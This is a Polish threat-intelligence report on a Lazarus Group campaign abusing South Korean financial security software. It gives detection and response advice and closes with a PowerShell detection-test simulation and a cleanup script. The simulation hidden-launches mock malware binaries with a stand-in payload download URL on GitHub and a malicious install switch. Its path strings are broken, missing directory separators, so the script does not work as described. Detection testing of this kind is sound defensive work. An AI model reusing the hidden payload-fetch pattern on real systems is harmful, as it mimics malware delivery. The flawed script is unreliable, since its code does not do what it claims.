Grupa Lazarus używa południowokoreańskiego oprogramowania zabezpieczającego do dostarczania złośliwego oprogramowania szyfrowanego postkwantowo

Podsumowanie

Grupa Lazarus powiązana z Koreą Północną prowadzi kampanię cyber szpiegowską znaną jako Operacja FlashHole. Grupa wykorzystuje luki w powszechnie używanym południowokoreańskim oprogramowaniu zabezpieczającym finanse, aby wdrożyć zaawansowane ramy złośliwego oprogramowania. Ta najnowsza iteracja kampanii wprowadza kryptograficzne algorytmy postkwantowe do ochrony komunikacji dowodzenia i kontroli.

Śledztwo

Badania przeprowadzone przez Kaspersky i AhnLab odkryły skomplikowany łańcuch infekcji obejmujący sideloading DLL i nadużywanie legalnych plików systemowych, takich jak fsquirt.exe. Analitycy powiązali kampanię z wcześniejszymi operacjami, w tym SyncHole, i udokumentowali wyraźną ewolucję w wyrafinowaniu złośliwego oprogramowania. Dochodzenie ujawniło również użycie GitHub Pages do hostowania złośliwych treści oraz zaawansowane zestawy narzędzi, takie jak TechHub i Cubridge.

Zarządzanie zagrożeniami

Przedsiębiorstwa powinny priorytetowo traktować łatanie oprogramowania zabezpieczającego finanse, w tym INISAFE CrossWeb EX i AnySign4PC. Należy egzekwować surowe kontrole przeciwko sideloadingowi DLL i monitorować nietypowe relacje procesów rodzic-dziecko, takie jak uruchamianie oprogramowania zabezpieczającego fsquirt.exe, co jest kluczowe. Obrońcy powinni również monitorować niespodziewane połączenia z API GitHub lub Dropbox z rzadkich procesów, aby zidentyfikować potencjalną aktywność C2.

Odpowiedź

Po wykryciu złośliwej aktywności należy wyizolować zainfekowane hosty, aby zapobiec ruchowi bocznemu przez rozwiązania do transferu plików. Przeprowadź analizę pamięci, aby zidentyfikować złośliwe DLL uruchamiane w pamięci i sprawdź systemy pod kątem nieautoryzowanych modyfikacji plików. Przeglądaj telemetrię sieciową w poszukiwaniu podejrzanej szyfrowanej komunikacji i badaj możliwe próby wycieku danych do znanych mrocznych witryn internetowych wycieków, takich jak ULOSE.

Wykonanie Symulacji

• Narracja ataku i polecenia: Przeciwnik planuje wdrożyć downloader TechHub, aby ustanowić połączenie z zdalnym repozytorium na GitHubie, aby pobrać kolejny etap ładunku. Aby unikać wykrycia, używają pliku binarnego TechHub.exe ze specyficznym URL. Następnie używają instalatora TouchHub.exe , przekazując parametr TOUCHSHIFT , aby zainicjować instalację złośliwych komponentów. To symuluje specyficzne wskaźniki kompromitacji (IoC) używane przez Grupę Lazarus.

• Skrypt testowy regresji:

  # Skrypt symulacyjny dla detekcji TechHub/TouchHub Grupy Lazarus
  # Ten skrypt tworzy pliki tymczasowe, aby zasymulować obecność złośliwych plików binarnych.
  
  $TempDir = "$env:TEMPLazarusSim"
  New-Item -ItemType Directory -Force -Path $TempDir
  
  $TechHubPath = "$TempDirTechHub.exe"
  $TouchHubPath = "$TempDirTouchHub.exe"
  
  # Tworzenie tymczasowych plików wykonywalnych
  New-Item -ItemType File -Force -Path $TechHubPath
  New-Item -ItemType File -Force -Path $TouchHubPath
  
  Write-Host "[+] Symulacja aktywności TechHub..." -ForegroundColor Cyan
  # To powinno wywołać 'selection_techhub'
  Start-Process -FilePath $TechHubPath -ArgumentList "https://github.com/malicious/payload.exe" -WindowStyle Hidden
  
  Write-Host "[+] Symulacja aktywności TouchHub..." -ForegroundColor Cyan
  # To powinno wywołać 'selection_touchhub'
  Start-Process -FilePath $TouchHubPath -ArgumentList "--mode TOUCHSHIFT --install" -WindowStyle Hidden
  
  Write-Host "[+] Symulacja zakończona. Sprawdź SIEM pod kątem alertów." -ForegroundColor Green

• Polecenia czyszczące:

  # Skrypt czyszczący do usunięcia symulowanych plików
  $TempDir = "$env:TEMPLazarusSim"
  if (Test-Path $TempDir) {
      Remove-Item -Recurse -Force $TempDir
      Write-Host "[+] Czyszczenie zakończone sukcesem: $TempDir usunięto." -ForegroundColor Green
  } else {
      Write-Host "[!] Czyszczenie nie powiodło się: Katalog nie znaleziony." -ForegroundColor Red
  }